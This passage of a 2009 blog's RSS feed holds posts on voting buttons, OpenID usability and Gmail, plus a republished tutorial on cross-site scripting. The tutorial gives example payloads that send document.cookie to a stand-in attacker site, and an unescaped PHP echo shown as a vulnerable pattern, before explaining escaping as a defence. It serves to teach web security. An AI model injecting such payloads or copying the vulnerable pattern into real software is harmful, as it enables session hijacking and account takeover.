src="http://stats.wordpress.com/b.gif?host=bitdepth.thomasrutter.com&amp;blog=5093591&amp;post=277&amp;subd=bitdepth&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://bitdepth.thomasrutter.com/2009/03/06/storing-hierarchical-data-in-a-database-using-ancestor-tables/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/e0fbce15f81d6308656931250db267a1?s=96&#38;d=monsterid&#38;r=G" medium="image">
			<media:title type="html">thomasrutter</media:title>
		</media:content>
	</item>
		<item>
		<title>Thumbs up/down, the simplest form of user feedback</title>
		<link>http://bitdepth.thomasrutter.com/2009/03/05/thumbs-up-thumbs-down/</link>
		<comments>http://bitdepth.thomasrutter.com/2009/03/05/thumbs-up-thumbs-down/#comments</comments>
		<pubDate>Wed, 04 Mar 2009 15:22:46 +0000</pubDate>
		<dc:creator>thomasrutter</dc:creator>
				<category><![CDATA[User interfaces]]></category>

		<guid isPermaLink="false">http://bitdepth.wordpress.com/?p=267</guid>
		<description><![CDATA[Users really appear to love being able to give a &#8216;thumbs up&#8217; or &#8216;thumbs down&#8217; to any statement they see on a website. Strongly disagree with a YouTube comment?  Give a thumbs-down!  You have expressed an opinion in only a single mouse-click! The ease of expressing pleasure or displeasure upon someone else&#8217;s opinion in a [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=bitdepth.thomasrutter.com&amp;blog=5093591&amp;post=267&amp;subd=bitdepth&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Users really appear to love being able to give a &#8216;thumbs up&#8217; or &#8216;thumbs down&#8217; to any statement they see on a website.</p>
<p>Strongly disagree with a YouTube comment?  Give a thumbs-down!  You have expressed an opinion in only a single mouse-click!</p>
<p>The ease of expressing pleasure or displeasure upon someone else&#8217;s opinion in a single click seems to be a highly effective way of getting feedback from your users, because it exploits their desire to have their say, at the same time reducing the barrier of entry: typing a reply in words is no longer necessary, neither is logging in, filling out a form, or even visiting a different page.</p>
<p><strong>Harness the crowd&#8217;s wisdom</strong></p>
<p>Simple feedback systems like this can even serve as a n0-maintenance extension to your comment moderation: enough down-votes, and your system can be pretty sure, without you even reading it, that a comment is offensive or irrelevant enough to be removed.  A YouTube comment with many down-votes appears hidden by default &#8211; depending on <em>how many</em>, you may still be able to view it, but it&#8217;s highly likely to be offensive or spam.  It appears to be pretty effective.  Users are <em>willing to do your moderation for you</em> even if they get nothing in return other than the satisfaction of showing their approval or disapproval.</p>
<p>Getting feedback on a blog in the form of comments is very difficult: for every thousand people who read something, a tiny fraction will go through the effort required to fill in their name and write out a proper response, even if you have a comment form that requires no approval or sign-up.  If you are writing something highly controversial or offensive, or taking a side on a &#8216;hot topic&#8217; (Apple sucks, Microsoft is better) you&#8217;ll probably find that tiny fraction rise substancially, but otherwise eight hundred people could read a blog post before anyone comments.  So, given that it is so hard to get any feedback by comments, why not allow one-click feedback?</p>
<p><strong>Characteristics</strong></p>
<p>What I think of as the YouTube model is not unique to YouTube: Facebook uses the same sort of thing, so does Digg (of  &#8216;digg it&#8217; fame), and my new favourite <a href="http://stackoverflow.com/">StackOverflow</a> does the same sort of thing too (though you need reputation to vote), and many others &#8211; sadly, sites such as WordPress.com haven&#8217;t followed yet.  The basic characteristics of this model are:</p>
<ul>
<li>One click &#8216;vote up&#8217; or &#8216;vote down&#8217; buttons next to comments.</li>
<li>Clicking them records your vote instantly without a page refresh (Ajax techniques are used).</li>
<li>There is usually some way that voting something &#8216;down&#8217; penalises it; it may cause it to move further down the page, or a certain number of down-votes may &#8216;hide&#8217; it.</li>
</ul>
<p>I like it so much that when I find myself reading user comments and I can&#8217;t give it a thumbs-up or thumbs-down, it frustrates me; I&#8217;ve come to expect to be able to give one-click feedback.</p>
<p><strong>Previous experience</strong></p>
<p>The success of <a href="http://en.wikipedia.org/wiki/Hot_or_Not">Hot or Not</a> and a whole generation of clones showed the addictive popularity of giving users the ability to give feedback with no more intellectual effort than a single click.  Instead of a single up-vote or down-vote, however, the user had to choose a value out of ten, and while it only required a single click, it did result in a page load.  Nevertheless, people spent hours and hours on sites following that model.  While originally they were rating photos of people based on looks, the concept spread to rating all sorts of other things, like graphic design work, poetry, and jokes.</p>
<p>I believe that the thumbs up/down approach takes this two steps further &#8211; by reducing the number of available choices down to two instead of ten, and by accepting the feedback without a page reload (due to Ajax techniques).</p>
<p>Years ago I implemented a rating system on a website of my own, making a conscious decision to reduce the number of possible choices from ten down to only three.  My belief at the time was that it was a sweet spot, between getting enough useful information from users, and being simple enough so that as many users as possible would use it, because it was such a no-brainer.  Adding the voting option under each piece of content did result in participation and increase page views per user.  In retrospect, I could have reduced it further to a single &#8216;up-vote&#8217; and &#8216;down-vote&#8217;, and I suspect the participation rate would have been even higher due to the lower mental effort required.  The &#8216;results&#8217; allowed me to rank items on the site according to popularity; the front page item was always one of the most &#8216;popular&#8217; in terms of votes.</p>
<p><em>As I publish this, I just noticed that WordPress.com allows nested comments now &#8211; maybe they can allow ratings on comments one day soon!</em></p>
<br />Posted in User interfaces  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/bitdepth.wordpress.com/267/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/bitdepth.wordpress.com/267/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/bitdepth.wordpress.com/267/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/bitdepth.wordpress.com/267/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/bitdepth.wordpress.com/267/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/bitdepth.wordpress.com/267/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/bitdepth.wordpress.com/267/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/bitdepth.wordpress.com/267/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/bitdepth.wordpress.com/267/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/bitdepth.wordpress.com/267/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/bitdepth.wordpress.com/267/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/bitdepth.wordpress.com/267/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/bitdepth.wordpress.com/267/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/bitdepth.wordpress.com/267/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=bitdepth.thomasrutter.com&amp;blog=5093591&amp;post=267&amp;subd=bitdepth&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://bitdepth.thomasrutter.com/2009/03/05/thumbs-up-thumbs-down/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/e0fbce15f81d6308656931250db267a1?s=96&#38;d=monsterid&#38;r=G" medium="image">
			<media:title type="html">thomasrutter</media:title>
		</media:content>
	</item>
		<item>
		<title>My problems with OpenID</title>
		<link>http://bitdepth.thomasrutter.com/2009/02/23/the-openid-experience/</link>
		<comments>http://bitdepth.thomasrutter.com/2009/02/23/the-openid-experience/#comments</comments>
		<pubDate>Mon, 23 Feb 2009 08:46:18 +0000</pubDate>
		<dc:creator>thomasrutter</dc:creator>
				<category><![CDATA[Practical web security]]></category>
		<category><![CDATA[online security]]></category>
		<category><![CDATA[User interfaces]]></category>
		<category><![CDATA[web application security]]></category>

		<guid isPermaLink="false">http://bitdepth.wordpress.com/?p=193</guid>
		<description><![CDATA[I&#8217;ve been tempted to write why OpenID has been driving me up the wall. I have not implemented OpenID in any application, so I come at it not as an implementor or programmer but as an end user: a number of sites I&#8217;ve used, including Stack Overflow and Sourceforge, have either allowed or insisted upon [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=bitdepth.thomasrutter.com&amp;blog=5093591&amp;post=193&amp;subd=bitdepth&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been tempted to write why <a href="http://en.wikipedia.org/wiki/OpenID">OpenID</a> has been driving me up the wall.</p>
<p>I have not implemented OpenID in any application, so I come at it not as an implementor or programmer but as an end user: a number of sites I&#8217;ve used, including <a href="http://stackoverflow.com/">Stack Overflow</a> and <a href="http://sourceforge.net/">Sourceforge</a>, have either allowed or insisted upon OpenID authentication.</p>
<p>My first OpenID account was at Verisign Labs (<a href="https://pip.verisignlabs.com/">PIP</a>).  They&#8217;re well established in web security, so I figured it would be a reliable service, and a company that wasn&#8217;t likely to disappear on me.  Their service, however, left me frustrated for a few reasons.</p>
<ul>
<li>For some reason (early onset dementia?), I could never remember my OpenID URL and found myself needing to look it up all the time, which meant starting up my email client.  Because it&#8217;s not only a username I chose, but also includes the web address of the OpenID provider, I found it easier to forget.  I can&#8217;t really see ordinary web users finding the URL thing intuitive; for some time now, favourites/bookmarks and search engines have been teaching us that remembering URLs shouldn&#8217;t be necessary.</li>
<li>The Versign Labs PIP has one of the most user-unfriendly features I have ever experienced.  With the aim of preventing <a href="http://en.wikipedia.org/wiki/Phishing">phishing attacks</a>, a well-meaning goal, it does not allow you to authenticate yourself at any OpenID supported site at all unless you have already logged in directly at Verisign&#8217;s website during the same browser session.  Try typing in your OpenID to your favourite site, and you get a message from Verisign telling you that no, you haven&#8217;t logged in to Verisign this session, so you can&#8217;t proceed.  When I encouter this, I have no choice but to open up a second tab and head over to their site to log in, except that much of the time I can&#8217;t, because I don&#8217;t have a browser certificate installed on the computer I&#8217;m using at the time (I don&#8217;t think it&#8217;s abnormal to use more than one computer regularly).  So in order to authenticate me, it has to send me an email containing a single-use PIN.  Thank goodness my email account doesn&#8217;t use OpenID authentication and I can get to that fairly easily.  I&#8217;ve never had to jump through so many hoops, just to log in to an application I already have an account at.</li>
<li>Once I&#8217;ve started using an OpenID identity from a certain provider on a site or two, it would appear that I am tied to that OpenID provider for life.  It makes it very hard to evaluate OpenID providers when your choice is a permanent one.  Yes, I realise that it is possible to use <a href="http://simonwillison.net/2006/Dec/19/openid/">delegation</a>, or even to <a href="http://wiki.openid.net/Run_your_own_identity_server">install your own OpenID server</a>, but if we&#8217;re going to be talking about end users, neither of these two are really practical, and both of them are likely to result in decreased security.</li>
</ul>
<p>My second OpenID provider, MyOpenID, appears to be a fair bit easier to get along with, and doesn&#8217;t suffer from many of the problems I&#8217;d previously encountered.</p>
<p>Simply by opening another OpenID account, however, everything has become exponentially more complicated: if you switch providers, there&#8217;s no easy way that I can see to merge all site accounts based on an identity at my previous provider across to the new one.  It seems like changing providers may mean ditching a bunch of old accounts and signing up for all new ones.  I was impressed at the way Stack Overflow&#8217;s implementation allowed switching the OpenID identity associated with my account there.  Unfortunately, this flexibility is a result only of Stack Overflow&#8217;s thoughtful design, and such a feature is not part of a typical OpenID implementation.</p>
<p>MyOpenID, thankfully, allows me to authenticate myself without having to twiddle around with going to the OpenID provider&#8217;s site in a separate browser window or getting a single-use PIN.  I suppose it is similar to what the OpenID experience should have been like from the start.  Maybe my Verisign Labs PIP account just had too many optional features turned on.</p>
<p>I still find, however, that some things about OpenID underwhelm me:</p>
<ul>
<li>Signing up for a new account at an OpenID-enabled site appears no easier when using OpenID.  After authenticating with my OpenID URL and whatever authentication I need to do at the OpenID provider&#8217;s end, when I return to the client site I still have to fill out a form, and most of the time I still have to confirm my email address.  Some fields have been pre-filled by my OpenID account, but I still need to choose a username that is unique to that application, and likely even fill in a <a href="http://en.wikipedia.org/wiki/Captcha">Captcha</a>.</li>
<li>Users are well experienced already with simple username/password combinations.  They know, for example, that the password should be kept secret, and it&#8217;s that secret that provides their security.  Even though they might have several username/password combinations at different sites, this doesn&#8217;t make things any more complicated, because the same concept is just repeated.  With an OpenID account, however, not only do they now have a username and password at their OpenID provider, but they also have this OpenID URL, and maybe even a browser certificate.  That is three or four pieces of information.  Furthermore, how will they understand that authenticating with an OpenID URL alone can provide any security, when the OpenID URL is not a secret, and there is no password?  I wouldn&#8217;t be surprised if users thought that OpenID was grossly insecure, because they don&#8217;t understand that all the real security is hidden from them.</li>
<li>I also wouldn&#8217;t be surprised if the idea that their identity is passed between sites made users a bit worried.  For instance, how can an OpenID implementor reassure the user that even if they use their OpenID URL to log in and register, that doesn&#8217;t mean the implementor now has the password to the user&#8217;s OpenID account?  All the beneficial security concepts are a black box to the users, who may just assume that the OpenID account is a way for their password and identity to be freely passed around between sites.  Far from using it only when high security is needed, we may find that users, unaware of the security benefits to OpenID, only trust OpenID with information they don&#8217;t mind losing.</li>
</ul>
<p>So far I haven&#8217;t been convinced that using OpenID is significantly safer &#8211; even when comparing it to re-using the same username and password at a whole bunch of different sites, which is itself a dubious security practice.  With OpenID, I still have all my eggs in one basket.  If an attacker gains access to my OpenID account, he can still impersonate me at all sites where I rely on that identity.</p>
<p>OpenID is a well-meaning idea, and with more experience I am sure that I will master it more, but being this confusing and headache-inducing even to a web developer is a clear indication that it has some way to go before it can be considered fit for general use.  Get this: the Wikipedia page for OpenID displays a prominent warning which reads  &#8220;This page may be too technical for a general audience&#8221; applying to various sections, including the section titled &#8220;Logging in&#8221;.  If it is too hard to describe how to &#8220;log in&#8221; without alienating a non-technical audience, it is a sign that the process is not too usable, and anyone thinking that they are implementing OpenID in order to &#8220;simplify&#8221; things for end-users may need to think twice.</p>
<p>While some boast about big companies like Google adopting OpenID, it&#8217;s not really all that much to crow about &#8211; their support is only as a provider, not as an implementor.  I cannot, for example, use an existing OpenID to authenticate myself at Google, I can only use a Google ID to authenticate myself elsewhere.  Not allowing OpenID authentication themselves doesn&#8217;t contibute to the widespread use of OpenID but further segregates it, which is probably just as much of an injustice to OpenID as its indecipherable Wikipedia page.</p>
<br />Posted in Practical web security Tagged: online security, User interfaces, web application security <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/bitdepth.wordpress.com/193/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/bitdepth.wordpress.com/193/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/bitdepth.wordpress.com/193/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/bitdepth.wordpress.com/193/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/bitdepth.wordpress.com/193/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/bitdepth.wordpress.com/193/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/bitdepth.wordpress.com/193/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/bitdepth.wordpress.com/193/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/bitdepth.wordpress.com/193/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/bitdepth.wordpress.com/193/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/bitdepth.wordpress.com/193/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/bitdepth.wordpress.com/193/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/bitdepth.wordpress.com/193/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/bitdepth.wordpress.com/193/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=bitdepth.thomasrutter.com&amp;blog=5093591&amp;post=193&amp;subd=bitdepth&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://bitdepth.thomasrutter.com/2009/02/23/the-openid-experience/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/e0fbce15f81d6308656931250db267a1?s=96&#38;d=monsterid&#38;r=G" medium="image">
			<media:title type="html">thomasrutter</media:title>
		</media:content>
	</item>
		<item>
		<title>Is Gmail suitable for use as your main email box?</title>
		<link>http://bitdepth.thomasrutter.com/2009/02/13/should-i-use-gmail-for-all-my-mail/</link>
		<comments>http://bitdepth.thomasrutter.com/2009/02/13/should-i-use-gmail-for-all-my-mail/#comments</comments>
		<pubDate>Fri, 13 Feb 2009 10:00:29 +0000</pubDate>
		<dc:creator>thomasrutter</dc:creator>
				<category><![CDATA[Web tools]]></category>
		<category><![CDATA[gmail]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[imap]]></category>
		<category><![CDATA[mail]]></category>
		<category><![CDATA[pop]]></category>

		<guid isPermaLink="false">http://bitdepth.wordpress.com/?p=113</guid>
		<description><![CDATA[Now that Gmail offers proper IMAP access for free, I think that there are few reasons not to use Gmail for all my non-work email now. Gmail&#8217;s 7GB (and growing) amount of space allows it to be a &#8216;store everything&#8217; type of mail box, as opposed to a &#8216;store what I haven&#8217;t downloaded yet&#8217; (as [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=bitdepth.thomasrutter.com&amp;blog=5093591&amp;post=113&amp;subd=bitdepth&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Now that Gmail offers proper <a href="http://en.wikipedia.org/wiki/Internet_Message_Access_Protocol">IMAP</a> access for free, I think that there are few reasons <em>not </em>to use Gmail for all my non-work email now.</p>
<p>Gmail&#8217;s 7GB (and growing) amount of space allows it to be a &#8216;store everything&#8217; type of mail box, as opposed to a &#8216;store what I haven&#8217;t downloaded yet&#8217; (as in <a href="http://en.wikipedia.org/wiki/Post_Office_Protocol">POP</a>) or &#8216;store the last <em>x</em> days&#8217; worth&#8217; (as in an IMAP box that&#8217;s only small).</p>
<p>My web hosting provider allows POP or IMAP access, but it&#8217;s restricted to only 100MB, so it&#8217;s not really usable as a &#8216;store everything&#8217; box, not to mention that I might change hosting providers some day.  I really love my host, but the possibility exists that I&#8217;ll outgrow them or need some new whiz-bang feature one day.</p>
<p>My current email strategy is:</p>
<ul>
<li>Download all mail to my home computer, but have it left on the server for 7 days.</li>
<li>I can still access at least the last 7 days&#8217; worth of mail when I&#8217;m away from home.</li>
<li>My Gmail account fetches mail from my mailbox via POP every <em>x</em> minutes, so I have another copy of everything on Gmail.</li>
</ul>
<p>That third point was to be a temporary measure, but I find it just too convenient to be able to search all my mail on Gmail while I am away from home.  I might as well forward everything to Gmail.</p>
<p>More points about Gmail:</p>
<ul>
<li>Gmail doesn&#8217;t force you to use your &#8216;@gmail.com&#8217; address as your &#8216;from&#8217; address.  You can use an address with your domain name in it as a default.  Therefore Gmail does not suffer from the type of &#8216;lock-in&#8217; &#8211; if you move to a new provider, you can keep your email address.</li>
<li>Gmail&#8217;s web interface is better than any web interface I have seen an ISP or a web hosting provider provide.  It even rivals desktop based email clients.</li>
<li>Keeping a copy of everything on Google&#8217;s server acts as a really easy, free, form of off-site backup.  My current off-site backup strategy consists of burning a DVD of my <a href="http://en.wikipedia.org/wiki/Mozilla_Thunderbird">Thunderbird </a>mail box folder every other month if I remember it, and tucking the DVD into a drawer at work.</li>
</ul>
<p>The only hesitation I have, but one which I feel is pretty important,  is that entrusting all of my email to Google would vastly increase the amount of damage done should an attacker &#8211; or a Google employee (unlikely) &#8211; gain access to my account.  Rather than just 7 days&#8217; worth of emails being available, as with another provider, Google would store an entire history of possibly personal and confidential mail.  This includes such secrets as password reminder emails for online services.  I&#8217;d feel better about it if I could encrypt Gmail&#8217;s entire contents with my own key, that Google themselves didn&#8217;t have access to, and nor did anyone who had gained access to the account.  Of course, it&#8217;s not really possible with the way Gmail works.</p>
<p>So, is using Gmail worth it as a &#8216;store everything&#8217; mail box for personal email?</p>
<br />Posted in Web tools Tagged: gmail, google, imap, mail, pop <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/bitdepth.wordpress.com/113/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/bitdepth.wordpress.com/113/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/bitdepth.wordpress.com/113/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/bitdepth.wordpress.com/113/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/bitdepth.wordpress.com/113/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/bitdepth.wordpress.com/113/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/bitdepth.wordpress.com/113/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/bitdepth.wordpress.com/113/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/bitdepth.wordpress.com/113/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/bitdepth.wordpress.com/113/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/bitdepth.wordpress.com/113/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/bitdepth.wordpress.com/113/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/bitdepth.wordpress.com/113/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/bitdepth.wordpress.com/113/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=bitdepth.thomasrutter.com&amp;blog=5093591&amp;post=113&amp;subd=bitdepth&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://bitdepth.thomasrutter.com/2009/02/13/should-i-use-gmail-for-all-my-mail/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/e0fbce15f81d6308656931250db267a1?s=96&#38;d=monsterid&#38;r=G" medium="image">
			<media:title type="html">thomasrutter</media:title>
		</media:content>
	</item>
		<item>
		<title>Cross-site scripting could make you lose your cookies</title>
		<link>http://bitdepth.thomasrutter.com/2009/02/12/cross-site-scripting-could-make-you-lose-your-cookies/</link>
		<comments>http://bitdepth.thomasrutter.com/2009/02/12/cross-site-scripting-could-make-you-lose-your-cookies/#comments</comments>
		<pubDate>Thu, 12 Feb 2009 05:26:57 +0000</pubDate>
		<dc:creator>thomasrutter</dc:creator>
				<category><![CDATA[Software development]]></category>
		<category><![CDATA[cookies]]></category>
		<category><![CDATA[online security]]></category>
		<category><![CDATA[web application security]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://bitdepth.wordpress.com/?p=103</guid>
		<description><![CDATA[The following article was originally written in July 2005 and published on SitePoint.com, and is republished with permission.  For securing your web application you should probably also read about CSRF and clickjacking. Cross-site scripting (XSS) is a form of security exploit that threatens any web application. In the past, its severity has tended to be [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=bitdepth.thomasrutter.com&amp;blog=5093591&amp;post=103&amp;subd=bitdepth&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><em>The following article was originally written in July 2005 and <a href="http://www.sitepoint.com/blogs/2005/07/18/cross-site-scripting-could-make-you-lose-your-cookies/">published on SitePoint.com</a>, and is republished with permission.  For securing your web application you should probably also read about <a href="http://en.wikipedia.org/wiki/Cross-site_request_forgery">CSRF</a> and <a href="http://en.wikipedia.org/wiki/Clickjacking">clickjacking</a>.</em></p>
<p><a href="http://en.wikipedia.org/wiki/Cross-site_scripting">Cross-site scripting</a> (XSS) is a form of security exploit that threatens any web application. In the past, its severity has tended to be underestimated. The problems go far beyond annoyances and practical jokes perpetuated by <a href="http://en.wikipedia.org/wiki/Script_kiddie">script kiddies</a>. By stealing your <a href="http://en.wikipedia.org/wiki/HTTP_cookie">cookies</a>, Cross-site scripting attacks can allow attackers to gain administrative access to your web application.</p>
<p>How does it come about? The problem forms when a web application (such as a PHP script) displays user-submitted content without filtering and/or escaping it properly. If a user submits a guestbook entry, a blog comment, or even a username and password, that content could contain any character, including characters such as <strong>&lt;</strong>, <strong>&amp;</strong>, or <strong>&#8220;</strong> which have a different, and special, meaning when they appear as part of HTML.  If the same guestbook entry, blog comment or username field is saved by the web application and later displayed as part of a web page, without any intervening filtering or escaping, then any incidental <strong>&lt;</strong> characters, which in a plain text field should have no special significance, will be interpreted by browsers as HTML tags.   Any user who happened to slip the character sequence <strong>&lt;script</strong> into such a field may be able to cause Javascript code to run in the browsers of other people who view the page.</p>
<p>This code may either be relatively harmless &#8211; for example, creating unwanted popups or spam &#8211; or malicious &#8211; code that is intended to gain private information in order to break into each user&#8217;s account on the system.</p>
<p>Although cross-site scripting often involves the insertion of a <strong>&lt;script&gt;</strong> tag into a web page, it is possible to do some damage with other code.  There are many ways to run Javascript in a browser other than through the use of a <strong>&lt;script&gt;</strong> tag, as well as many other forms of active content besides Javascript.  The <a href="http://ha.ckers.org/xss.html">XSS cheat sheet</a> is the most thorough list of XSS attack vectors I know of, and show various methods of obfuscating or encoding XSS that may be used other than <strong>&lt;script&gt;</strong> tags.</p>
<p>Relatively harmless uses of Cross Site Scripting:</p>
<ul>
<li>Code intended to disrupt the layout or appearance of a web page.</li>
<li>Scripts, applets or objects intended as a practical joke, displaying annoying messages or popups.</li>
<li>Code intended to launch unwanted popup windows for advertising or shock value.</li>
</ul>
<div id="adz" class="vertical">
<div class="ad">
<div id="beacon_849" style="position:absolute;left:0;top:0;visibility:hidden;"><img style="width:0;height:0;" src="http://ads.aws.sitepoint.com/phpadsnew/www/delivery/lg.php?bannerid=849&amp;campaignid=537&amp;zoneid=136&amp;loc=http%3A%2F%2Fads.aws.sitepoint.com%2Fadjs.php%3Fregion%3D136%26did%3Dadz%26adtype%3Dvertical&amp;referer=http%3A%2F%2Fwww.sitepoint.com%2Fblogs%2F2005%2F07%2F18%2Fcross-site-scripting-could-make-you-lose-your-cookies%2F&amp;cb=84e7c0e88e" alt="" width="0" height="0" /></div>
</div>
</div>
<p>Some more harmful uses of Cross Site Scripting:</p>
<ul>
<li>Scripts, including Javascript or another form of active content, designed to collect private information from cookies and transmit it to a third party website in order to gain administrator access to the system.</li>
<li>Objects or applets intended to exploit a known security vulnerability in a particular browser.</li>
</ul>
<p><strong>Life cycle of a cross-site scripting exploit</strong></p>
<p>I find that cross-site scripting can be a difficult concept to picture. I’ll lead you through a typical cross-site scripting scenario, to gives some examples of what is possible.</p>
<p>Joe has built himself a custom <a href="http://en.wikipedia.org/wiki/Content_management_system">CMS</a> complete with user accounts, sessions and different access levels for different users. To log into his CMS, he enters a username and password into a login form on the site. For the duration of his browser session, a cookie stores his ’session ID’ which allows him to remain logged-in while navigating around the site.</p>
<p>Joe’s website also allows any user to sign up for a new account, and place a ‘message’ onto the Website. For example, a message can be placed in a blog comment, or in the user’s profile, or even the user’s username. Unfortunately, Joe forgot to use <a href="http://au.php.net/htmlspecialchars">htmlspecialchars</a> or an equivalent to escape plain text in HTML in some places where he echoes user-submitted content to the browser.</p>
<p>A malicious user, Rick, signs up at Joe’s website and fills out his new profile page. In his user profile, he includes the text:</p>
<pre><span>&lt;script&gt;alert('Hello World');&lt;/script&gt;</span></pre>
<p>Now, whenever Joe (or anybody else) views Rick’s user profile, he gets an annoying JavaScript popup taunting him.</p>
<p>Rick gets a little craftier and places the following code into a guestbook entry of Joe’s page:</p>
<pre><span>&lt;script&gt;location.replace('http://rickspage.com/?secret='+document.cookie)&lt;/script&gt;</span></pre>
<p>Now, whenever Joe (or anybody else) views the guestbook, he will be redirected to a page on Rick’s site. What’s more, the cookie from Joe’s browser session has been transmitted to Rick’s web server as part of the URL.</p>
<p>Rick now uses the cookie from Joe’s browser session to browse Joe’s CMS using Joe’s account. Rick may even be able to change Joe’s password, give himself administrator access, or start deleting content.</p>
<p>Rick gained administrator access to Joe’s CMS by placing a <strong>&lt;script&gt;</strong> tag into Joe’s guestbook. What we are dealing with here is <em>session hijacking</em> &#8211; stealing the session ID (which is often stored in a cookie) from another user in order to impersonate them on the system.  XSS is a way for an attacker to obtain access to sessions on another server.</p>
<p>Rick could have used other methods to achieve the same result. For instance, Rick could have used a JavaScript link to trick Joe into sending the very same information to his server:</p>
<pre><span>&lt;a href="javascript:location.replace('http://rickspage.com/?secret='+document.cookie)"&gt;</span>
A web page about dogs&lt;/a&gt;</pre>
<p>If Joe clicked that link, as he may do without even thinking, his session ID would be transmitted to Rick’s server.</p>
<p>Furthermore, Rick could have embedded his JavaScript into event handler attributes such as <strong>onclick</strong>, <strong>onmousemove </strong>and <strong>onsubmit </strong>- the latter which could be used to modify the behaviour of a form on the site.</p>
<p>Rick could also have tried using tools other than JavaScript &#8211; such as ActiveX controls or applets.</p>
<p><strong>Patch those holes<br />
</strong></p>
<p>Below are some steps which you can take to help prevent cross-site-scripting attacks from being used on your PHP application, and to limit the amount of damage that can be done in the event that someone finds a way anyhow.</p>
<p>Whenever displaying plain text content on your web site, escape the plain text string before doing so.  In PHP, a simple way to do this is to use the <a href="http://au.php.net/htmlspecialchars">htmlspecialchars</a> function on the data right before.  This includes all plain text data, whether it be user-submitted or not.  The idea is that <strong>&lt;</strong> and <strong>&amp;</strong> characters need to be escaped whether their use is malicious or not.</p>
<p>You may be displaying unfiltered user-submitted content where you don’t realise it.  For example, the following is dangerous.</p>
<pre><span>if (strlen($_GET['username']) &gt; 12)
</span>  exit("Error: {$_GET['username']} is too long. Your username may be no more than 12 characters");</pre>
<p>In this case, the user variable &#8220;username&#8221; is being sent to the browser without being escaped. A user could construct a URL similar to the following and trick people into clicking it:</p>
<pre><span>http://www.example.com/register.php?username=%3Cscript%3Ealert('gotcha')%3B%3C%2Fscript%3E</span></pre>
<p>The JavaScript above is harmless, but could be modified to steal information from cookies and transmit it to a third party.  Notice that here, the <strong>&lt;script&gt;</strong> tag is <a href="http://en.wikipedia.org/wiki/Percent-encoding">URL encoded</a>.  This will automatically be decoded by the server.</p>
